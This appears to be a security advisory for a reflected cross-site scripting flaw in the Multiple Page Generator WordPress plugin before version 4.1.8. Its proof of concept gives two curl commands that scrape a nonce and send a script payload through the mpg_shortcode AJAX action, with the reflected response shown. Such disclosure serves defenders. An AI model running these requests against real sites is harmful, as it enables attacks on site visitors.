Multiple Page Generator Plugin – MPG < 4.1.8 – Reflected XSS via mpg_shortcode | CVE 2026-13726

Description

The plugin does not sanitise and escape a parameter before reflecting it back in the response, allowing unauthenticated attackers to perform Reflected Cross-Site Scripting against a victim who is induced to send a crafted request.

Proof of Concept

Tested on a local lab (MPG 4.1.7, PHP 8.2) against a site that has an MPG project deployed (normal usage of the plugin). Unauthenticated:

# 1) Scrape the anonymous nonce
NONCE=$(curl -s 'https://VICTIM/?s=x' | grep -oE 'securityNonce":"[a-f0-9]+' | grep -oE '[a-f0-9]+$')

# 2) Reflect the payload (projectId of any deployed project, e.g. 1)
curl -s 'https://VICTIM/wp-admin/admin-ajax.php' \
  --data-urlencode 'action=mpg_shortcode' --data-urlencode "securityNonce=$NONCE" \
  --data-urlencode 'projectId=1' \
  --data-urlencode 'content=<script>alert(document.domain)</script>'
#  -> {"success": true, "data":"<script>alert(document.domain)</script>..."}  (Content-Type: text/html)